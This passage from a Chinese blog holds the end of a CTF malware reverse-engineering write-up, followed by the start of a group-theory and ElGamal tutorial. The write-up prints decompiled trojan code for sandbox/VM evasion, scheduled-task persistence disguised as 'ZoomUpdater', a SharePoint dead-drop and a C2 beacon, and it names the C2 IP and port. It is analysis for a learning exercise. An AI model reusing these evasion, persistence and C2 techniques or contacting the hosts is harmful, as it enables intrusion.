       || sub_407730(Data, "VMware")
39
       || sub_407730(Data, "VBox")
40
       || sub_407730(Data, "Hyper-V")
41
       || sub_407730(Data, "Cloud")) )
42
    {
43
      v6 = 0;
44
      goto LABEL_19;
45
    }
46
    RegCloseKey(phkResult);
47
  }
48
  v6 = 1;
49
LABEL_19:
50
  if ( v6 )
51
  {
52
    Buffer.dwLength = 64;
53
    GlobalMemoryStatusEx(&Buffer);
54
    if ( HIDWORD(Buffer.ullTotalPhys) >= 2 )
55
    {
56
      GetSystemInfo((LPSYSTEM_INFO)&SystemInfo);
57
      if ( SystemInfo.lpParameters >= (LPCWSTR)4 )
58
      {
59
        TickCount64 = GetTickCount64();
60
        cbData[0] = HIDWORD(TickCount64);
61
        Sleep(0x1388u);
62
        v8 = GetTickCount64();
63
        v9 = v8 < __PAIR64__(cbData[0], TickCount64);
64
        n0x1388 = v8 - __PAIR64__(cbData[0], TickCount64);
65
        if ( HIDWORD(n0x1388) || !v9 && (unsigned int)n0x1388 >= 0x1388 )
66
        {
67
          SystemInfo.cbSize = 60;
68
          SystemInfo.fMask = 64;
69
          SystemInfo.hwnd = 0;
70
          SystemInfo.lpVerb = L"open";
71
          SystemInfo.lpFile = L"schtasks";
72
          SystemInfo.lpParameters = L"/query /tn ZoomUpdater";
73
          memset(&SystemInfo.lpDirectory, 0, 36);
74
          phkResult = 0;
75
          if ( ShellExecuteExW(&SystemInfo) && SystemInfo.hProcess )
76
          {
77
            WaitForSingleObject(SystemInfo.hProcess, 0xFFFFFFFF);
78
            GetExitCodeProcess(SystemInfo.hProcess, (LPDWORD)&phkResult);
79
            CloseHandle(SystemInfo.hProcess);
80
          }
81
          if ( phkResult )
82
          {
83
            SHGetFolderPathW(0, 42, 0, 0, Data);
84
            sub_40AEF0(Data, 260, L"\\ZoomRemoteControl\\bin\\ZoomRemoteControl.exe");
85
            v21 = 0;
86
            v20[0] = xmmword_4258D8;
87
            v20[1] = xmmword_4258E8;
88
            v20[2] = xmmword_4258F8;
89
            v20[3] = xmmword_425908;
90
            sub_407F20(v22, 0, 934);
91
            LODWORD(Buffer.ullAvailExtendedVirtual) = 77;
92
            *(_OWORD *)&Buffer.dwLength = xmmword_42591C;
93
            *(_OWORD *)&Buffer.ullAvailPhys = xmmword_42592C;
94
            *(_OWORD *)&Buffer.ullAvailPageFile = xmmword_42593C;
95
            Buffer.ullAvailVirtual = 0x45005400530059LL;
96
            sub_40AEF0(v20, 500, Data);
97
            sub_40AEF0(v20, 500, &Buffer);
98
            pExecInfo.cbSize = 60;
99
            pExecInfo.lpParameters = (LPCWSTR)v20;
100
            pExecInfo.fMask = 64;
101
            pExecInfo.hwnd = 0;
102
            pExecInfo.lpVerb = L"open";
103
            pExecInfo.lpFile = L"schtasks";
104
            memset(&pExecInfo.lpDirectory, 0, 36);
105
            ShellExecuteExW(&pExecInfo);
106
          }
107
          sub_402450();
108
        }
109
      }
110
    }
111
  }
112
  return 0;
113
}

展开收起

1
int __usercall sub_402450@<eax>(int a1@<ebp>)
2
{
3
  void *hRequest; // edi
4
  BOOL v2; // eax
5
  char *lpBuffer; // esi
6
  unsigned int v4; // edi
7
  __int128 *v5; // esi
8
  char *v6; // esi
9
  int v7; // eax
10
  unsigned int i; // ecx
11
  _DWORD *v9; // eax
12
  _BYTE *v10; // edx
13
  unsigned int v11; // ecx
14
  _BYTE *v12; // edx
15
  void *v13; // edx
16
  unsigned int n0xF_5; // ecx
17
  void *v15; // edx
18
  int v16; // esi
19
  _DWORD *hSession_1; // esi
20
  _DWORD *v18; // edi
21
  int s; // esi
22
  const CHAR *pszAddrString; // eax
23
  void *v21; // edx
24
  unsigned int v22; // ecx
25
  _BYTE *v23; // edx
26
  void *v24; // edx
27
  const char *buf; // eax
28
  void *buf_2; // edx
29
  _BYTE *v28; // [esp+0h] [ebp-2ACh]
30
  unsigned int n0xF_2; // [esp+14h] [ebp-298h]
31
  _BYTE *v30; // [esp+18h] [ebp-294h]
32
  unsigned int n0xF_1; // [esp+2Ch] [ebp-280h]
33
  __int128 v32; // [esp+30h] [ebp-27Ch] BYREF
34
  int v33; // [esp+40h] [ebp-26Ch]
35
  unsigned int n0xF_4; // [esp+44h] [ebp-268h]
36
  __int128 v35; // [esp+48h] [ebp-264h] BYREF
37
  int v36; // [esp+58h] [ebp-254h]
38
  unsigned int n0xF_3; // [esp+5Ch] [ebp-250h]
39
  int v38; // [esp+60h] [ebp-24Ch]
40
  void *hRequest_1; // [esp+64h] [ebp-248h]
41
  char *lpBuffer_1; // [esp+68h] [ebp-244h]
42
  HINTERNET hConnect; // [esp+6Ch] [ebp-240h]
43
  _DWORD *hSession; // [esp+70h] [ebp-23Ch] BYREF
44
  DWORD lpdwNumberOfBytesAvailable_; // [esp+74h] [ebp-238h] BYREF
45
  struct WSAData lpWSAData_; // [esp+78h] [ebp-234h] BYREF
46
  struct sockaddr name_; // [esp+20Ch] [ebp-A0h] BYREF
47
  _DWORD v46[5]; // [esp+21Ch] [ebp-90h] BYREF
48
  unsigned int n0xF_6; // [esp+230h] [ebp-7Ch]
49
  _DWORD *v48; // [esp+234h] [ebp-78h] BYREF
50
  unsigned int v49; // [esp+244h] [ebp-68h]
51
  unsigned int n0xF; // [esp+248h] [ebp-64h]
52
  DWORD lpdwNumberOfBytesRead_; // [esp+24Ch] [ebp-60h] BYREF
53
  __int128 v52; // [esp+250h] [ebp-5Ch] BYREF
54
  int v53; // [esp+260h] [ebp-4Ch]
55
  unsigned int n15; // [esp+264h] [ebp-48h]
56
  __int128 buf_1; // [esp+268h] [ebp-44h] BYREF
57
  int len; // [esp+278h] [ebp-34h]
58
  unsigned int n0xF_7; // [esp+27Ch] [ebp-30h]
59
  __int64 v58; // [esp+280h] [ebp-2Ch] BYREF
60
  int v59; // [esp+288h] [ebp-24h]
61
  int *v60; // [esp+290h] [ebp-1Ch]
62
  struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp+294h] [ebp-18h]
63
  void *v62; // [esp+298h] [ebp-14h]
64
  int v63; // [esp+29Ch] [ebp-10h]
65
  int v64; // [esp+2A0h] [ebp-Ch]
66
  void *v65; // [esp+2A4h] [ebp-8h]
67
  int v66; // [esp+2A8h] [ebp-4h] BYREF
68
  void *retaddr; // [esp+2ACh] [ebp+0h]
69

70
  v64 = a1;
71
  v65 = retaddr;
72
  v63 = -1;
73
  v62 = &loc_41B9C4;
74
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
75
  v60 = &v66;
76
  hSession = WinHttpOpen(
77
               L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/"
78
                "537.36 Edg/142.0.0.0",
79
               0,
80
               0,
81
               0,
82
               0);
83
  hConnect = WinHttpConnect(hSession, L"colonised-my.sharepoint.com", 0x1BBu, 0);
84
  hRequest = WinHttpOpenRequest(
85
               hConnect,
86
               L"GET",
87
               L"/personal/f00001111_colonised_onmicrosoft_com/_layouts/52/download.aspx?share=EQsrTSD_4ehGvYTXbmU5zR0B0lk"
88
                "4L-x0r8yGztFlye2j9Q",
89
               0,
90
               0,
91
               0,
92
               0x800000u);
93
  hRequest_1 = hRequest;
94
  v2 = WinHttpSendRequest(hRequest, 0, 0, 0, 0, 0, 0);
95
  if ( v2 )
96
    v2 = WinHttpReceiveResponse(hRequest, 0);
97
  v53 = 0;
98
  v52 = 0;
99
  n15 = 15;
100
  LOBYTE(v52) = 0;
101
  v63 = 0;
102
  if ( v2 )
103
  {
104
    lpdwNumberOfBytesAvailable_ = 0;
105
    do
106
    {
107
      WinHttpQueryDataAvailable(hRequest, &lpdwNumberOfBytesAvailable_);
108
      if ( !lpdwNumberOfBytesAvailable_ )
109
        break;
110
      lpBuffer = (char *)sub_4066F6(lpdwNumberOfBytesAvailable_ + 1);
111
      lpBuffer_1 = lpBuffer;
112
      sub_407F20(lpBuffer, 0, lpdwNumberOfBytesAvailable_ + 1);
113
      lpdwNumberOfBytesRead_ = 0;
114
      if ( WinHttpReadData(hRequest, lpBuffer, lpdwNumberOfBytesAvailable_, &lpdwNumberOfBytesRead_) )
115
      {
116
        v4 = strlen(lpBuffer);
117
        if ( v4 > n15 - v53 )
118
        {
119
          LOBYTE(v38) = 0;
120
          sub_404BF0(v4, v38, lpBuffer, v4);
121
        }
122
        else
123
        {
124
          v5 = &v52;
125
          if ( n15 > 0xF )
126
            v5 = (__int128 *)v52;
127
          v6 = (char *)v5 + v53;
128
          v53 += v4;
129
          sub_4079A0(v6, lpBuffer_1, v4);
130
          v6[v4] = 0;
131
          lpBuffer = lpBuffer_1;
132
        }
133
        hRequest = hRequest_1;
134
      }
135
      sub_406260(lpBuffer);
136
    }
137
    while ( lpdwNumberOfBytesAvailable_ );
138
  }
139
  WinHttpCloseHandle(hRequest);
140
  WinHttpCloseHandle(hConnect);
141
  WinHttpCloseHandle(hSession);
142
  v33 = 0;
143
  n0xF_4 = 0;
144
  v32 = 0;
145
  sub_4046D0("lD1bZ0", 6);
146
  LOBYTE(v63) = 1;
147
  v36 = 0;
148
  v35 = 0;
149
  n0xF_3 = 0;
150
  sub_4046D0("E9dE7d", 6);
151
  LOBYTE(v63) = 2;
152
  sub_402080(&v35, &v32);
153
  LOBYTE(v63) = 3;
154
  v7 = sub_401D80();
155
  LOBYTE(v63) = 4;
156
  sub_403280(v7);
157
  for ( i = 0; i < v49; ++i )
158
  {
159
    v9 = &v48;
160
    if ( n0xF > 0xF )
161
      v9 = v48;
162
    *((_BYTE *)v9 + i) ^= 1u;
163
  }
164
  LOBYTE(v63) = 6;
165
  if ( n0xF_1 > 0xF )
166
  {
167
    v10 = v30;
168
    if ( n0xF_1 + 1 >= 0x1000 )
169
    {
170
      v10 = (_BYTE *)*((_DWORD *)v30 - 1);
171
      v11 = n0xF_1 + 36;
172
      if ( (unsigned int)(v30 - v10 - 4) > 0x1F )
173
        goto LABEL_71;
174
    }
175
    sub_4066E8(v10);
176
  }
177
  LOBYTE(v63) = 7;
178
  if ( n0xF_2 > 0xF )
179
  {
180
    v12 = v28;
181
    if ( n0xF_2 + 1 >= 0x1000 )
182
    {
183
      v12 = (_BYTE *)*((_DWORD *)v28 - 1);
184
      v11 = n0xF_2 + 36;
185
      if ( (unsigned int)(v28 - v12 - 4) > 0x1F )
186
        goto LABEL_71;
187
    }
188
    sub_4066E8(v12);
189
  }
190
  LOBYTE(v63) = 8;
191
  if ( n0xF_3 > 0xF )
192
  {
193
    v13 = (void *)v35;
194
    if ( n0xF_3 + 1 >= 0x1000 )
195
    {
196
      v13 = *(void **)(v35 - 4);
197
      v11 = n0xF_3 + 36;
198
      if ( (unsigned int)(v35 - (_DWORD)v13 - 4) > 0x1F )
199
        goto LABEL_71;
200
    }
201
    sub_4066E8(v13);
202
  }
203
  v36 = 0;
204
  n0xF_3 = 15;
205
  LOBYTE(v35) = 0;
206
  LOBYTE(v63) = 9;
207
  n0xF_5 = n0xF_4;
208
  if ( n0xF_4 <= 0xF )
209
    goto LABEL_34;
210
  v15 = (void *)v32;
211
  if ( n0xF_4 + 1 >= 0x1000 )
212
  {
213
    v15 = *(void **)(v32 - 4);
214
    v11 = n0xF_4 + 36;
215
    if ( (unsigned int)(v32 - (_DWORD)v15 - 4) > 0x1F )
216
    {
217
LABEL_71:
218
      sub_40AEAF(v11, 0, 0, 0, 0, 0);
219
      goto LABEL_72;
220
    }
221
  }
222
  sub_4066E8(v15);
223
LABEL_34:
224
  v33 = 0;
225
  n0xF_4 = 15;
226
  LOBYTE(v32) = 0;
227
  v58 = 0;
228
  v59 = 0;
229
  sub_4021D0(n0xF_5);
230
  LOBYTE(v63) = 10;
231
  if ( (unsigned int)(HIDWORD(v58) - v58 - 48) >= 0x18 )
232
  {
233
    v16 = 1;
234
    goto LABEL_54;
235
  }
236
  sub_403280(v58);
237
  LOBYTE(v63) = 11;
238
  hSession_1 = (_DWORD *)(v58 + 24);
239
  v18 = (_DWORD *)sub_40B29E();
240
  if ( hSession_1[5] > 0xFu )
241
    hSession_1 = (_DWORD *)*hSession_1;
242
  *v18 = 0;
243
  hConnect = (HINTERNET)sub_40BC9D(hSession_1, &hSession, 10);
244
  if ( hSession_1 == hSession )
245
LABEL_72:
246
    sub_40581D("invalid stoi argument");
247
  if ( *v18 == 34 )
248
    sub_40585D("stoi argument out of range");
249
  if ( WSAStartup(0x202u, &lpWSAData_) >= 0 )
250
  {
251
    s = socket(2, 1, 0);
252
    if ( s >= 0 )
253
    {
254
      name_ = 0;
255
      name_.sa_family = 2;
256
      *(_WORD *)name_.sa_data = htons((u_short)hConnect);
257
      pszAddrString = (const CHAR *)v46;
258
      if ( n0xF_6 > 0xF )
259
        pszAddrString = (const CHAR *)v46[0];
260
      if ( inet_pton(2, pszAddrString, &name_.sa_data[2]) > 0 )
261
      {
262
        if ( connect(s, &name_, 16) >= 0 )
263
        {
264
          len = 0;
265
          n0xF_7 = 0;
266
          buf_1 = 0;
267
          sub_4046D0("get_cmd", 7);
268
          buf = (const char *)&buf_1;
269
          if ( n0xF_7 > 0xF )
270
            buf = (const char *)buf_1;
271
          send(s, buf, len, 0);
272
          closesocket(s);
273
          WSACleanup();
274
          v16 = 0;
275
          if ( n0xF_7 > 0xF )
276
          {
277
            buf_2 = (void *)buf_1;
278
            if ( n0xF_7 + 1 >= 0x1000 )
279
            {
280
              buf_2 = *(void **)(buf_1 - 4);
281
              v22 = n0xF_7 + 36;
282
              if ( (unsigned int)(buf_1 - (_DWORD)buf_2 - 4) > 0x1F )
283
                goto LABEL_74;
284
            }
285
            sub_4066E8(buf_2);
286
          }
287
          len = 0;
288
          n0xF_7 = 15;
289
          LOBYTE(buf_1) = 0;
290
          goto LABEL_49;
291
        }
292
        closesocket(s);
293
      }
294
      WSACleanup();
295
    }
296
  }
297
  v16 = 1;
298
LABEL_49:
299
  if ( n0xF_6 > 0xF )
300
  {
301
    v21 = (void *)v46[0];
302
    if ( n0xF_6 + 1 >= 0x1000 )
303
    {
304
      v21 = *(void **)(v46[0] - 4);
305
      v22 = n0xF_6 + 36;
306
      if ( (unsigned int)(v46[0] - (_DWORD)v21 - 4) > 0x1F )
307
        goto LABEL_74;
308
    }
309
    sub_4066E8(v21);
310
  }
311
  v46[4] = 0;
312
  n0xF_6 = 15;
313
  LOBYTE(v46[0]) = 0;
314
LABEL_54:
315
  sub_403180(&v58);
316
  if ( n0xF > 0xF )
317
  {
318
    v23 = v48;
319
    if ( n0xF + 1 >= 0x1000 )
320
    {
321
      v23 = (_BYTE *)*(v48 - 1);
322
      v22 = n0xF + 36;
323
      if ( (unsigned int)((char *)v48 - v23 - 4) > 0x1F )
324
        goto LABEL_74;
325
    }
326
    sub_4066E8(v23);
327
  }
328
  v49 = 0;
329
  n0xF = 15;
330
  LOBYTE(v48) = 0;
331
  if ( n15 > 0xF )
332
  {
333
    v24 = (void *)v52;
334
    if ( n15 + 1 < 0x1000 || (v24 = *(void **)(v52 - 4), v22 = n15 + 36, (unsigned int)(v52 - (_DWORD)v24 - 4) <= 0x1F) )
335
    {
336
      sub_4066E8(v24);
337
      return v16;
338
    }
339
LABEL_74:
340
    sub_40AEAF(v22, 0, 0, 0, 0, 0);
341
    JUMPOUT(0x402B4C);
342
  }
343
  return v16;
344
}

展开收起

Action 1「窥伺」#

sub_402B60 是典型的沙箱/虚拟机检测和持久化安装的函数。首先，它进行了虚拟机/沙箱检测，其中包括：CPUID 虚拟机检测和注册表虚拟化检测。

1
__asm { cpuid }  // 执行 CPUID 指令
2
// 检查 CPU 制造商字符串是否包含虚拟化关键词
3
if (contains(cpuid_string, "VMware") ||
4
    contains(cpuid_string, "VBox") ||
5
    contains(cpuid_string, "KVM") ||
6
    contains(cpuid_string, "Microsoft Hv") ||
7
    contains(cpuid_string, "Xen")) {
8
    return 0;  // 检测到虚拟机，立即退出
9
}

1
// 查询BIOS产品名称
2
RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\BIOS", ...)
3
RegQueryValueExA(..., "SystemProductName", ...)
4
if (contains(product_name, "Virtual") ||
5
    contains(product_name, "VMware") ||
6
    contains(product_name, "VBox") ||
7
    contains(product_name, "Hyper-V") ||
8
    contains(product_name, "Cloud")) {
9
    return 0;  // 检测到虚拟机，退出
10
}

其次，它进行了系统资源检查，包括：内存检查、CPU 核心数检查和时间延迟检查。

1
GlobalMemoryStatusEx(&Buffer);
2
if (HIDWORD(Buffer.ullTotalPhys) >= 2) {
3
    // 要求至少 2GB 内存（沙箱通常配置较低）
4
    // Buffer.ullTotalPhys 是 64 位值，HIDWORD 获取高 32 位
5
}

1
GetSystemInfo(&SystemInfo);
2
if (SystemInfo.lpParameters >= (LPCWSTR)4) {
3
    // 要求至少 4 个 CPU 核心
4
}

1
TickCount64 = GetTickCount64();
2
Sleep(5000);  // 睡眠 5 秒（0x1388 毫秒）
3
v8 = GetTickCount64();
4
// 检查实际经过的时间是否 ≥ 5 秒
5
// 如果沙箱加速了时间，实际时间会小于 5 秒

最终，它检测自身是否已感染计算机：

1
ShellExecuteExW(&SystemInfo);
2
SystemInfo.lpFile = L"schtasks";
3
SystemInfo.lpParameters = L"/query /tn ZoomUpdater";
4
// 检查名为 "ZoomUpdater" 的计划任务是否存在

若无，则进行持久化机制：构造恶意软件路径后，构建计划任务的 XML 命令，并创建计划任务。

C:\ProgramData\ZoomRemoteControl\bin\ZoomRemoteControl.exe

1
SHGetFolderPathW(0, 42, 0, 0, Data);  // 42 = CSIDL_COMMON_APPDATA
2
sub_40AEF0(Data, 260, L"\\ZoomRemoteControl\\bin\\ZoomRemoteControl.exe");

1
// 使用预定义的 xmmword 变量构建 XML 字符串
2
v20[0] = xmmword_4258D8;  // 第一部分 XML
3
v20[1] = xmmword_4258E8;  // 第二部分 XML
4
// ...
5
sub_40AEF0(v20, 500, Data);   // 插入路径到 XML
6
sub_40AEF0(v20, 500, &Buffer); // 插入其他参数

1
pExecInfo.lpFile = L"schtasks";
2
pExecInfo.lpParameters = (LPCWSTR)v20;  // XML参数
3
ShellExecuteExW(&pExecInfo);  // 执行计划任务创建

Action 2「初探」#

进入到 sub_402450 后，该函数展示了木马的 C2 通信逻辑。

1
hSession = WinHttpOpen(L"Mozilla/5.0 ...", ...); // 伪装成 Edge 浏览器
2
hConnect = WinHttpConnect(hSession, L"colonised-my.sharepoint.com", 0x1BBu, 0); // 0x1BB = 443 (HTTPS)
3
hRequest = WinHttpOpenRequest(
4
   hConnect,
5
   L"GET",
6
   L"/personal/f00001111_colonised_onmicrosoft_com/_layouts/52/download.aspx?share=EQsrTSD_4ehGvYTXbmU5zR0B0lk4L-x0r8yGztFlye2j9Q",
7
   ...);

首先，程序先去访问了一个 SharePoint 共享链接以获得真正的 C2 地址。将地址藏在合法的公共服务上，是为了规避防火墙。

1
// 读取 SharePoint 返回的数据
2
WinHttpReadData(hRequest, lpBuffer, ...);
3
// ...
4
// 字符串 "lD1bZ0" 和 "E9dE7d" 用于切分字符串
5
sub_4046D0("lD1bZ0", 6);
6
sub_4046D0("E9dE7d", 6);
7
// ...
8
for ( i = 0; i < v49; ++i ) {
9
    *((_BYTE *)v9 + i) ^= 1u; // <--- 简单的 XOR 1 解密
10
}

随后，程序下载了该文件，提取出两个字符串中间的数据，并对数据进行 XOR 1，得到了真正的 C2 地址。

Action 3「回归」#

1
hSession_1 = (_DWORD *)(v58 + 24); // 应该是解密出来的 Port 字符串
2
// ... string to int ...
3
hConnect = (HINTERNET)sub_40BC9D(hSession_1, &hSession, 10); // 转换成端口整数
4

5
pszAddrString = (const CHAR *)v46; // 应该是解密出来的 IP 字符串
6
inet_pton(2, pszAddrString, ...);
7
connect(s, &name_, 16);
8

9
...
10

11
if ( connect(s, &name_, 16) >= 0 )
12
{
13
  // ...
14
  sub_4046D0("get_cmd", 7); // 构造发送缓冲区
15
  buf = (const char *)&buf_1;
16
  // ...
17
  send(s, buf, len, 0); // 发送
18
}

展开收起

接着，程序建立 socket 连接，并发送了一个字符串 get_cmd。我们可以进行异或运算得到 IP 地址和端口，但零音尝试多次 XOR 后仍无法得到有效的 IP 地址字符串，怀疑程序可能进行了其他变换，零音未能成功探究。最后，零音选择使用工具「火绒剑」抓包。得到最终的 C2 地址为 47.252.28.78:37204。

Stage IV「获」#

访问该地址即可得到 flag。

1
ISCTF{Wow!_Y0u_F0uNd_C2_AdDr3sssss!}

结语#

至此，我们完成了对整个 APT 攻击链的完整复盘，成功捕获了最终的 flag。

本次逆向分析对零音而言是全新的知识：MSI Transform 的障眼法即为零音首次听说的反侦查手段，而对 .dll 文件的逆向方法，亦是在本次题目中才初次学习。本次逆向中，零音亦学习到了一些分析问题的方法，例如，对于实在无法剖析清楚的部分，如 Stage III 的 Action 3 中对 C2 地址的 XOR 解密，可以采取动态分析的方法，灵活而巧妙地得到答案。

感谢 Gemini 和 DeepSeek 在逆向过程中的帮助。

从群到 ElGamal 加密算法

Thu, 16 Oct 2025 00:00:00 GMT

NOTE

原文由零音在 MoeCTF 2025 时完成。CrystaRin镜雨亭迁移时，GPT-6.1-Sol 负责了对本文的审阅和部分修改。

ElGamal 加密的核心思路，是让发送方和接收方算出同一个秘密，再用它掩蔽消息。为什么接收方能撤销这层掩蔽？这与群中的逆元有关。至于旁观者为什么难以破解，则是另一个关于计算难度的问题。

我们先从群和模逆元出发，理解算法为什么能正确解密，再讨论它需要什么安全前提。

群#

群的定义和性质#

一个群是一个有序对 (G,∗)(G, \ast)(G,∗)，其中 GGG 是一个非空集合，∗\ast∗ 是定义在 GGG 上的二元运算。我们要求该运算须满足以下四条公理：

封闭性（Closure）：对于任意 a,b∈Ga, b \in Ga,b∈G，都有 a∗b∈Ga * b \in Ga∗b∈G。一般地，当我们说 ∗*∗ 是定义在 GGG 上的二元运算时，封闭性通常已经隐含。
结合律（Associativity）：对于任意的 a,b,c∈Ga, b, c \in Ga,b,c∈G，都有 (a∗b)∗c=a∗(b∗c)(a * b) * c = a * (b * c)(a∗b)∗c=a∗(b∗c)。
单位元（Identity element）：存在某个元素 e∈Ge \in Ge∈G，使得对于任意 a∈Ga \in Ga∈G，都有 e∗a=a∗e=ae * a = a * e = ae∗a=a∗e=a。
逆元（Inverse element）：对于任意 a∈Ga \in Ga∈G，存在某个元素 a−1∈Ga^{-1} \in Ga−1∈G 使得 a∗a−1=a−1∗a=ea * a^{-1} = a^{-1} * a = ea∗a−1=a−1∗a=e。

群不能只看作一个集合或一个运算，它必须是两者的结合，同时满足上面的公理。如果一个群满足交换律（即 a∗b=b∗aa * b = b * aa∗b=b∗a 对于任意 a,b∈Ga, b \in Ga,b∈G 成立），则我们称该群为 阿贝尔群（Abelian group）。

群可以分为有限群和无限群。有限群的集合 GGG 中元素个数有限，记作 ∣G∣=n\lvert G \rvert = n∣G∣=n，称为群的阶，即群的集合内元素的数量：例如 (Zn,+)(\mathbb{Z}_n, +)(Zn,+)，即模 nnn 的整数加法群，其阶为 nnn。无限群的集合元素个数无限：例如 (Z,+)(\mathbb{Z}, +)(Z,+)，即整数加法群。

对于一个群 (G,∗)(G, \ast)(G,∗)，其中 ∗\ast∗ 是群的二元运算，如果 HHH 是 GGG 的一个非空子集，并且 HHH 在运算 ∗\ast∗ 下也构成一个群，则称 HHH 为 GGG 的一个子群，记作 H≤GH \leq GH≤G。

我们判定一个群 GGG 的非空子集 HHH 是子群，当且仅当同时满足以下三个条件：

封闭性：对于任意 a,b∈Ha, b \in Ha,b∈H，有 a∗b∈Ha * b \in Ha∗b∈H。
单位元：GGG 的单位元 eee 也属于 HHH。
逆元：对于任意 a∈Ha \in Ha∈H，有 aaa 的逆元 a−1∈Ha^{-1} \in Ha−1∈H。

设 GGG 是一个群，SSS 是 GGG 的一个非空子集。所有包含 SSS 的 GGG 的子群中最小的那个记作 ⟨S⟩\langle S \rangle⟨S⟩，它由所有形如 s1ϵ1s2ϵ2⋯skϵks_1^{\epsilon_1} s_2^{\epsilon_2} \cdots s_k^{\epsilon_k}s1ϵ1s2ϵ2⋯skϵk 的元素构成，其中 si∈Ss_i \in Ssi∈S，ϵi=±1\epsilon_i = \pm 1ϵi=±1，kkk 为任意非负整数；k=0k = 0k=0 时的空乘积约定为单位元。如果 ⟨S⟩=G\langle S \rangle = G⟨S⟩=G，我们就称 SSS 是群 GGG 的一个生成集。如果一个元素 ggg 就能生成整个群，即 G=⟨g⟩G = \langle g \rangleG=⟨g⟩，则称 GGG 为循环群，ggg 为这个群的一个生成元。一般生成集中的元素不一定能单独生成整个群。

ElGamal 可以定义在循环群上。本文从模素数乘法群 Zp∗\mathbb{Z}_p^\astZp∗ 入手：它的元素严格说是模 ppp 的非零剩余类，我们用 1,2,⋯ ,p−11, 2, \cdots, p - 11,2,⋯,p−1 作为代表。群运算是模 ppp 的乘法，即将两个代表数相乘后取模 ppp。我们将在下文证明它满足群的四条公理；算法部分则会选用它的一个合适的子群。

一个经典结论是：对于任意素数 ppp，群 Zp∗\mathbb{Z}_p^\astZp∗ 都是循环群。本文引用这一结论，不展开证明。这意味着，存在一个原根，也就是整个群的生成元 g∈Zp∗g \in \mathbb{Z}_p^\astg∈Zp∗，使得

g1,g2,g3,⋯ ,gp−1(modp)g^1, g^2, g^3, \cdots, g^{p - 1} \pmod{p}g1,g2,g3,⋯,gp−1(modp)

恰好覆盖 Zp∗\mathbb{Z}^*_pZp∗ 集合中的所有元素。

模 p 乘法群的运算满足四条公理#

以下固定素数 ppp，记 G=Zp∗G = \mathbb{Z}_p^\astG=Zp∗，并继续用 1,2,⋯ ,p−11, 2, \cdots, p - 11,2,⋯,p−1 表示其中的元素。

封闭性#

群的封闭性要求一个集合中的两个数经过运算后，其结果一定还在这个集合里。

对于任意 a,b∈Ga, b \in Ga,b∈G，都有 p∤ap \nmid ap∤a 且 p∤bp \nmid bp∤b。根据素数的性质，若 p∣abp \mid abp∣ab，就必有 p∣ap \mid ap∣a 或 p∣bp \mid bp∣b，因此这里 p∤abp \nmid abp∤ab。所以 ab mod pab \bmod pabmodp 不为 000，仍在 1,2,⋯ ,p−11, 2, \cdots, p - 11,2,⋯,p−1 中，即

a⋅b mod p∈G.\boxed{a \cdot b \bmod p \in G.}a⋅bmodp∈G.

结合律#

形式上，一个在集合 GGG 上的二元运算 ∗*∗ 满足结合律，是指

(a∗b)∗c=a∗(b∗c)∀a,b,c∈G.(a\ast b)\ast c = a\ast(b\ast c) \quad \forall a, b, c \in G.(a∗b)∗c=a∗(b∗c)∀a,b,c∈G.

模乘法继承了整数的结合律 (a⋅b)⋅c=a⋅(b⋅c)(a \cdot b) \cdot c = a \cdot (b \cdot c)(a⋅b)⋅c=a⋅(b⋅c)，而模运算和乘法操作是良好兼容的，也就是说，在乘法运算中无论何时取模，最终的计算结果都是一致的。即，我们有

(a⋅b) mod p=((a mod p)⋅(b mod p)) mod p.\boxed{(a \cdot b) \bmod p = ((a \bmod p) \cdot (b \bmod p)) \bmod p.}(a⋅b)modp=((amodp)⋅(bmodp))modp.

下面给出一个证明：我们设

a=qap+ra,0≤ra<p,b=qbp+rb,0≤rb<pa = q_a p + r_a, \quad 0 \leq r_a < p, \quad b = q_b p + r_b, \quad 0 \leq r_b < pa=qap+ra,0≤ra<p,b=qbp+rb,0≤rb<p

其中 ra=a mod p, rb=b mod pr_a = a \bmod p, \ r_b = b \bmod pra=amodp, rb=bmodp。

注意到

ab=(qap+ra)(qbp+rb)=p(pqaqb+qarb+qbra)+rarbab = (q_a p + r_a)(q_b p + r_b) = p(pq_aq_b + q_ar_b + q_br_a) + r_ar_bab=(qap+ra)(qbp+rb)=p(pqaqb+qarb+qbra)+rarb

因此 ab≡rarb(modp)ab \equiv r_ar_b \pmod pab≡rarb(modp)，从而

(ab) mod p=(rarb) mod p=((a mod p)(b mod p)) mod p.(ab)\bmod p = (r_ar_b)\bmod p = ((a\bmod p)(b\bmod p))\bmod p.(ab)modp=(rarb)modp=((amodp)(bmodp))modp.

注意，rar_ara 和 rbr_brb 虽然都小于 ppp，它们的乘积却未必小于 ppp，所以不能省略最后一次取模。由此结合整数乘法的结合律，可得

((ab mod p)c) mod p=abc mod p=(a(bc mod p)) mod p.\boxed{((ab\bmod p)c)\bmod p = abc\bmod p = (a(bc\bmod p))\bmod p.}((abmodp)c)modp=abcmodp=(a(bcmodp))modp.

这就证明了模 ppp 乘法的结合律。

单位元#

因为 1∈G1 \in G1∈G，且对任意 a∈Ga \in Ga∈G 都有

1⋅a mod p=a⋅1 mod p=a,\boxed{1 \cdot a \bmod p = a \cdot 1 \bmod p = a,}1⋅amodp=a⋅1modp=a,

所以 111 就是单位元。

逆元#

类比通常的乘法中 3×13=13 \times \frac{1}{3} = 13×31=1，模乘法中的逆元也用来撤销一次乘法。区别在于，模 ppp 的逆元不是通常意义下的分数，而是群中的另一个元素。

我们要证明：对于任意 a∈Ga \in Ga∈G，存在 b∈Gb \in Gb∈G，使得 ab≡1(modp)ab \equiv 1 \pmod pab≡1(modp)。这里可以使用裴蜀定理（Bézout’s lemma）：

裴蜀定理（Bézout’s lemma）

设 a,ba, ba,b 为不全为 000 的整数。对于任意 x,y∈Zx, y \in \mathbb{Z}x,y∈Z，都有 gcd⁡(a,b)∣(ax+by)\gcd(a,b) \mid (ax+by)gcd(a,b)∣(ax+by)；而且，存在整数 x,yx, yx,y，使得 ax+by=gcd⁡(a,b)ax+by=\gcd(a,b)ax+by=gcd(a,b)。完整证明见文末附录。

由于 ppp 是素数，任意 a∈{1,2,⋯ ,p−1}a \in \{1, 2, \cdots, p - 1\}a∈{1,2,⋯,p−1} 都满足 gcd⁡(a,p)=1\gcd(a, p) = 1gcd(a,p)=1，因此存在整数 x,yx, yx,y，使得

